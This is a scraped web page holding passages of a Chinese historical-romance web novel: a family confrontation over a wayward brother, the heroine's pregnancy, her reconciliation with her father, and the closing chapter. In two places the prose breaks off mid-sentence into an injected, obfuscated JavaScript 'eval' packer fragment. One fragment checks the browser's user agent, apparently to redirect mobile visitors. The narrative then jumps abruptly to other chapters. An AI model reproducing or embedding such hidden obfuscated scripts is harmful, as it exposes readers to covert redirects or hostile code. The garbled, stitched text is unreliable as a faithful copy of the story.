“微微!你说便是!”谢道元终于抬起头,目光中仅是义无反顾的恳求,“不论你想要如何,父亲都会将他逐出家门,只当谢家从无此子!” 露微只觉一阵慌促,想起谢二郎曾经对她扬言,说自己总归是“谢家子”……她的目光转向谢探微,轻轻推开李氏的手,走了过去,但不及靠近,便听那人头也不回地说道: “微微,我可以答应你所有的事,唯有放过他,不行!” 她仍去到他身后站下,牵住他的衣袖,目光却随之垂下,“二郎,你为什么不喜欢你阿兄?我想听你亲口说。” 她骤然却问起谢探隐,众人皆是讶异,谢探微更没想到,满眼不可思议,甚至是不耐烦。她却不理,又对下跪之人问了一遍。 谢探隐早在被戳穿当日就成了一副行尸走肉,却没有人听他再说过一个字,知错或知悔,都无。在露微第二遍话音落下之时,他终于支起了脏污的面孔,眼珠一顿一转,看的是长兄: “他们把你送走,二十年,根本就不是不要你,其实是不要我——你不在,他们心中口中都念你,哪怕我在他们眼前,也替代不了千里之外的你!连要哄你成婚,都拿我做幌子,你生气了,他们知道给你道歉,就是想不到,我又有何辜?!” 他嗓中发出低哧一声,似是笑,又道:“谢探微,凭什么我生来就低你一等?!” 谢探微面上神色渐从不容违拗的决绝,变得几分惶惑,微微摇头,近乎是要退步之意,却忽然抬起一脚,将他瞬间踢出数步之外: “你千不该万不该,不该动我妻子!” 谢探隐文弱之人,哪里受得住长兄下了全力的一脚,飞身落地,登时口吐鲜血,浑身抽搐,可那张血口缓缓竟又一笑: “你最好,亲手杀了我!” 露微万不及防,惕然心惊,分辨不了谢探微的神色,唯有将他紧紧拉住,“敏识!不要!” “你住口!”徐枕山本不好插手他兄弟之论,至此也已忍无可忍,冲去将他拽起,指着满院众人,质问他道: “你总觉一家人都欠你的,可你又有哪一件事做得叫人服你?!你便怨,哪个不许你说?你便委屈,又有谁堵住你的嘴?!你这样的人,便是与你阿兄换了那二十年,也还是一个结果!不然,你也当真坦荡一回,自尽便是了!敢是不敢?!说啊!” 姊夫的声音震彻庭院,彻底击碎了谢探隐的最后一丝所谓狂傲,蜷缩在地,再无一言。 “敏识,好了,可以了!”露微只觉已到尽头,不见谢探微反应,摇着他的手臂苦苦哀求,“你看看阿娘,还有长姊!” 谢探微却毫无动容,翻手反将她揽住,更不管身后母姊哭泣之声,又道:“他不肯自己死,那就——” 最终的既定的字句未及脱口,他只觉怀中忽然一坠,“微微!微微?!” …… “夫人有孕方才月余,一时受惊,并无大碍,武威侯不必过忧。” 医人轻描淡写的诊断飘过谢探微耳畔,令他立时阴了脸,但要骂出口时,忽觉袖子为人扯动,转头一惊: “微微,你醒了!现在感觉怎么样?” 露微望着他不言,见医人已被雪信请出去,向内侧转了身子,方道:“都怪你,还用得着来问么?” 谢探微想要伸去的手悬停半空,僵硬地握了握,低下头,缓缓凑近了她的脑后,道: “微微,退一万步,陛下可以赦他触犯刑律之罪,家中也可恕他屈膝求荣之过,但我,决不能将他对你所做之事一笔勾销。你怎么就不懂呢?难道你还想为我留住所谓的兄友弟恭,家人美满?这已经是不可能的了。” “我只是,要你留他一条命。”露微并不意外,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢探渺闻言诧异,顿了顿才抬起头来:“什么?” 露微仍是笑笑。其实提起的就是先前与她交底时,因她偏爱二郎,露微便说她只是二郎一个人的阿姊,但如今自然不同了。 “我……”谢探渺从露微笑意中捉摸到了什么,面露惭色,终作一叹,“我不如你,从见你的第一面就知道,我什么都不如你,所以,应该是嫉妒。但我有生以来,从未体会过那样的感觉,便也一直不自知,再加上二郎这桩事,我便面目全非了。” “嫉妒”,似乎是人情之中最为常见的,但此情此景听来,露微却忽觉新鲜,忖度着点了点头: “阿姊说得甚是贴切,我听了很高兴,因为长姊原来不是真的看不上我,而是太看得起我了。” 谢探渺像是没听清,渐渐皱了眉,半晌却是一笑:“是这样么?我又不自知了?” 露微畅然点头,道:“我那时也说过,像阿姊的出身,从前一定不是那样的。能够一生顺遂,绝非易事,因为人生于世,最不能求全,我便是阿姊命中的‘劫数’。可是,我与阿姊,原就不必互相为难,一家之中,亲人之间,难道是靠‘为难’来维系的?阿姊试想,或许不去求全,便是‘全’了呢?” 这番话像是云雾一般,先是遮绕在谢探渺心头,静静听完,却又忽然云开雾散,如释重负,“我受教了,多谢你。” 她的眼神再无躲闪,只是盈动着温柔坚定的光泽,露微觉得这才是谢家长女的真容,而自己从前也是被诸多情绪蒙蔽着的。 “阿姊为什么非要走呢?”过了片时,露微忽作一问,虽是满眼真诚,却也是来之前不想多问的。 谢探渺亦感意外,毕竟事实早已摆在明面上,想了想,她起身走到了露微身前,握住了露微的双手: “只有我们走了,父亲母亲才不会为难,大郎也才会真正宽心。你告诉过我啊,大郎最渴望的就是父慈母爱,兄友弟恭,如今再不能求全,便让父亲母亲一心陪着他,也是不全而全了吧?” 露微一时震惊,满眼睁得酸胀红透:“我明白,明白了!” 谢探渺会心一笑,抬手抚去她的脸,将她缓缓揽近了怀里,“好微微,好妹妹。”。 帘外惠风和畅,绿暗红稀,开和二十年的春天不觉已经到了深处。 99.临春 “微微,能吃就多吃一点,不是为了孩子,就是为你自己,这几个月把身子养过来,生产时才能少吃些苦。” 谢家恢复了往日宁静,谢道元自是每日照常入朝理政,谢探微却也终未等到太子允诺的两月假期,在露微几番催促下,到翊府上任去了。剩了李氏在家,则是万般心思都盯着露微,比从前更加精细,凡饮食汤药之事,都是亲自过手。 露微待李氏早不像起初那般客套,成日被千宠万爱,也已无话不谈,乖乖喝完她喂来的一口汤,只笑道:“阿娘猜猜,是男孩还是女孩呢?” 李氏与一旁叶氏相视一笑,叶娘先道:“奴婢比着当年郡主的样子,看夫人目下不害口,只是爱睡些,倒就像大郎那时,夫人肚子里大约也是个小郎君吧。” 李氏接着道:“我看就算是极有经验的看产人,也要等人显怀了方能说出些道理,也没有十分准的。不过,这有什么要紧?反正不都叫谢如晦么?” 这个名字虽是她精心想来的,却还没问过父母的意见,听来羞惭一笑:“阿娘觉得这个名字好不好?” 李氏却感慨起来,握起露微的手道:“娘还记得,那时你和大郎遇险,浑身是血地站在我面前,就说到‘风雨如晦,鸡鸣不已’。世道如此,安于享乐终非正道,若这孩子也能像你一样,做一个风雨之中的鸡鸣之士,便真是谢家大幸了。这当然是一个绝好的名字。” 露微听来渐渐惊讶,不意李氏竟能一语中的,她正是由那些经历,才定下了这个名字,连谢探微都还未能点破。 “郡主、夫人,赵小郎来了。” 思绪尚不及收回,小婢忽然进来禀报。露微顿时惊喜,也无须开口,李氏便叫叶娘亲去将孩子带了进来。 赵澈见长辈在场,不慌不忙站好,便先向李氏拜礼。李氏顾着露微,慢了一步去扶,只看他神态沉稳,举动端正,竟显得十分老成,不由赞许点头,也好笑: “好孩子,自己家里随意些岂不好?” 露微深知他一贯如此,笑笑招手,将他揽到了身边:“你是专程来看我的,还是有什么事?家里都好吧?” 赵澈点头道:“家中祖父,父亲母亲都好,乔娘也很好,姑姑放心就是。我原是与母亲说好了,下了学就来看姑姑。” “那便好,可不许自己乱跑。”露微放了心,顺手端了案上点心给他,“吃吧,奖励你听话的。” 已报了平安无事,这孩子却忽然一副皱眉为难的神色,也不接下点心,半晌支吾道:“姑姑,我……才进门时,看见那位晏大将军了。他……好像要进来,我本想上前见礼,他却又很快走了。” 赵澈虽不足九岁,但心智早已清明,露微更是一下就听懂了他的意思,脸色随即淡了一层。 李氏本不欲扰他们姑侄问候,旁观至此,心里也是一沉,向叶氏示了眼色,将孩子暂时哄了出去。 “微微,是不是累了?”她不好直接问出口。 露微许久才抬起眼睛:“阿娘,你知道什么,是么?” 李氏抿了抿唇,疼惜地叹声,道:“从你回来起,昭清每日都会来问你的情形,他实在担心你的身体,就算知道你不愿见他,他也要亲自来一趟,又怕惊动得叫你听见,有时就在阍房问一句。” 露微确实还没有为“晏令白”深思熟虑过,有几分逃避,也有几分是害怕,终不再言。 …… 赵澈离开后,露微倚在榻上半日都不曾出声,时而翻书来看,多是举册发愣,直到时近掌灯,谢探微的声音在她耳后响起: “微微,我回来了。” 露微略一恍然,顿了顿方转过身来,见他上下齐整,抿唇一笑:“中郎将今日不忙?” 谢探微却并不展颜,伸手拂了拂她额前松落的发丝,许久才道:“翊府不同于金吾,我每日都能回来的。”停了片刻,又道:“不然,我怎么放心?” 露微直直望着他,觉出些味来,“你,去见过母亲了?” 谢探微不语,只去将她揽到了怀里,用掌心包裹住她的手,忽然轻声一叹,“医人说,有孕之人体热,时节也不冷了,怎么你的手还这样凉?哪里不舒服么?” 他的掌心是比自己热,但露微也并不觉冷,只是这番话,倒也不必她继续深究了:“若不是澈儿提一句,你们是不是都不会告诉我?” 谢探微气息一顿,替她揉搓双手的动作也停了,但很快就道:“不愿意想的事就不要费心,也放心,一切都好。” 露微抬目相视,心中感到懊恼,也似是委屈,情绪忽而复杂起来,“我不知道怎么和他说话,不能回到从前了,但澈儿一告诉我,我心里就有种说不出的感觉,不应该这样下去了。” 谢探微一眼看透,贴着她的侧颜,温柔一笑:“你的感觉,其实我知道,你听我说得对不对。” “什么?”露微也觉好奇,心绪暂且静了些。 谢探微目光殷殷,向她额上轻啜一吻,方说了下去:“你生气是真的,对他说下的狠话,也是发自内心的,但也都是一时的。你从来就不想要他‘万劫不复’,你只是不知所措,因为,你没有办法替代阿娘的感情,也再也不能得到阿娘的答案——微微啊,让你如此害怕的事,我却不能为你承担分毫,真是对不起。” 话音落下许久,谢探微都没再听见她的声音,但不难从她发颤的身躯感知到,她在哭。他没有劝阻,只将她环紧了些,默默安抚。 “谢敏识?”良晌,她声带啜泣的鼻音唤道。 “我在。”谢探微应道。 “如果阿娘当年没有走,我一出生就能认识你了,你还会喜欢我么?” “那样啊,大概你一出生,我父亲母亲就会给我求亲了——二十年我都没喜欢上别人,没了这二十年的空,我更不会喜欢别人了。” 露微破颜一笑,伸臂紧紧地搂住了他,“我不会像阿娘一样,我永远都不会离开你,你也永远不要离开我,我们永远都在一起,好不好?” 谢探微心中眼中同时一热,“若非如此,我与谁归?微微,只求你永远不要再多此一问。” …… 赵澈在露微面前无意提起晏令白的事当日便被李氏遣人传去了将军府,晏令白知晓心惊不已,一连多日都未敢再靠近谢家。此日逢休沐,他仍是无计可施之状,在庭院徘徊打转也静不下半分,索性便不休了,换了官服要去卫署,好歹分分心。 他大步流星地跨出院门,眉目紧皱,逼迫自己聚起精神,待到转廊处方抬眼看路。然而,一眼却见前头廊柱后闪过一张面孔。将军府仅有的几个仆人断不会这般鬼祟,他疑心自己看错,正要继续行路,余光划过,却又见那处地上分明投着一个人影。 “是谁在那里?快出来!” 话音虽不高,但颇严肃,那影子先是未动,半晌才移出两分。晏令白定睛观望,竟见飘出了女子的裙边,心中莫名一沉: “你,是谁?” 一字一顿,再无先前的气势,可那人反而猛一转身,拂开了自己的真容:“是……我,露微。” 千言万语,千头万绪……所有所有都在此刻凝固,晏令白做不出半分回应。 直到相见的前一刻,露微的惶然无措毫不比对面的“父亲”少,一待跨出这一步,却忽觉浑身一松,自心底通上了股气,慢慢走近,“我来,是有些事要告诉你,不会耽误你很久。” 晏令白胸中擂鼓一般,肩背都微微震颤,待她一直走到跟前,才终于逼开了口:“多久……多久都可以。” 露微听他嗓音略嘶哑,面色仍是发白,心内忽然感到惭愧,低了头,两手背在身后暗搓,“我的名字是阿娘取的,取自一首诗,‘松际露微月,清光犹为君’。” 露微早对谢探微解释过名字的来由,在皇帝面前也说过。这近乎众所周知的事,却唯独没有在晏令白面前提过,晏令白也从未在意,于是此刻仍不解露微用意,只快速点头道:“嗯,很好听。” 露微稍抬了眼睛,暗暗咬着唇,又道:“从前,我一直认为阿娘取‘露微’两个字,就是因为我出生在微月之夜,但现在我忽然发现还有别的意思。她藏得很深,也不会想到,我和你竟有见面之日。” 晏令白面上渐露惊疑,张口又闭,复添情怯,半晌才道:“那,是何深意?” 露微舒了口气,继续道:“昨天我去父亲母亲那里问你从前的事,他们说了很多,尤其是父亲。他说到,你除了名和字,还有一个自幼的乳名,叫‘松奴’,对么?” 再是久远生疏,晏令白也没有忘记这个称呼,只是仍捉摸不透,生硬地点头道:“是,这和你的名字有何相关呢?” 露微的嘴角不自禁地浮出淡笑,无奈却是释然:“‘松际露微月,清光犹为君’,难道不是阿娘在告诉我,她是为松奴生下我的?她也是一直深爱松奴的?” 松下微月,清光为君——竟然是这样浅显又晦涩的心意! 晏令白再次陷入无声的震惊之中,露微却是益发如释重负,笑意洒然: “听乔娘所言,当年你不肯遵调令离开甘州,虽是为了早日平定北患,给阿娘彻底安定的生活,但于夫妻之义,你终究是亏欠她的,所以起初我对你言之咄咄,其实是在为阿娘生气。” 晏令白自知晓露微就是亲生女儿之时起,没有一刻不在自责,也很清楚无法补救,所以不论是言之咄咄,还是现在,他还是一无别样的心境。 泪水压抑不住地从晏令白双眼涌出,让他不敢再与女儿对视下去,缓缓垂首之际,却又听道: “但不过,你带领甘州军平了朝廷几十年的大患,给天下百姓带来了太平安宁,就等同是给了我安稳的生活,泽深恩重,我不恨你,而且感谢你。” “你,不恨我?”晏令白难以置信地抬起一双浑浊的眸子,泪水纵横未干。 露微含笑点头:“娘的心中唯有你一人,我既不能替代娘的感情,又为什么要擅自恨你?但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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露微略感不对,轻轻扯了扯谢探微的衣袖,但这举动也叫姚宜若立时回了神,面上一笑,道: “仲芫与中郎将如今也算是朋友了,今日承蒙郡主厚爱,以后也只怕多有叨扰之时呢。” 谢探微赞同地点点头,揽扶露微,说道:“我刚刚只是在想,那时姚学士弄璋之喜,我匆匆登门未及备礼,之后也没有机会补上,如今,还要不要补呢?” 别人的礼没补,自己也将要收礼,这促狭的意思亏他也能说出口,露微只觉羞愧,暗瞪了一眼,再不管他,兀自携过正在忍笑的杨淑真,一道入席去了。 望着露微远去,谢探微却并不急着追随,含笑转看姚宜若,道:“诸事就拜托仲芫了。” 姚宜若舒了口气,沉声应道:“你放心。” …… 芳辰欢宴至夜方散,谢探微将露微抱回东院,原要进房,却被她在廊下叫停,转去了院中高阁。这是整座谢府的最高处,凭栏远眺,可以望见明光宫的阙楼。 “冷不冷?做什么这时候要上来?还不累?”谢探微为她披上一件氅衣,仍恐夜风伤人,从后将她裹进了怀里。 露微侧目看他,笑了笑,“我做梦也没想过,我能和淑真,贤儿,芳儿四个人,在这家里相聚。我今天真高兴,高兴过头了,上来冷静一下。” 谢探微听来觉得有些心疼,抚了抚她发热泛红的脸颊,柔声道:“以后你高兴,要怎么聚都行,只要你高兴,什么都不用管。” “好。”露微用力点了下头,向他肩上靠去,目光抬望夜空,一轮新月正到天心,“谢敏识,想来,我遇到你的那个晚上,天上也是这样的月亮,你还记得吗?” 谢探微轻声一笑:“微月之夜降生,微月之夜遇我,看来此生每一个微月之夜,我们都会一起度过的。” 露微只觉这话生涩牵强,抿笑道:“微月之夜共度,月圆之夜反而分开不成?” 谢探微是信口说来,哪比得上她的口才,顿时落了下风,嘴唇一扁,双臂将她越发环紧,道:“第一次见你就是唇枪舌剑不饶人,如今还不留我三分颜面,叫谢如晦听见了,我威严尽失,以后还怎么管教他?” “你这人!”露微已料到他说不过人就会无赖,却没想到他连孩子都用上了,好笑又好恼,“哼,他已经听见你许多浑话了,你早就没有脸面了。” 谢探微不再申辩,只待露微渐生疑惑,忽一下俯去一吻,封住了那张稍有不慎就滔滔不绝的嘴巴, “微微。”良晌,他吝啬地分开一寸距离,微带喘息地唤道。 “嗯?”露微面上不及散去的潮热又添了几许。 “我要微月之夜共度,也要月圆之夜共度,日日夜夜终复始,你说好,快说好!” “好!” 夜色正永,微月临空,洒下的清光恰将两人旖旎的双影照在轩窗上。 (正文完)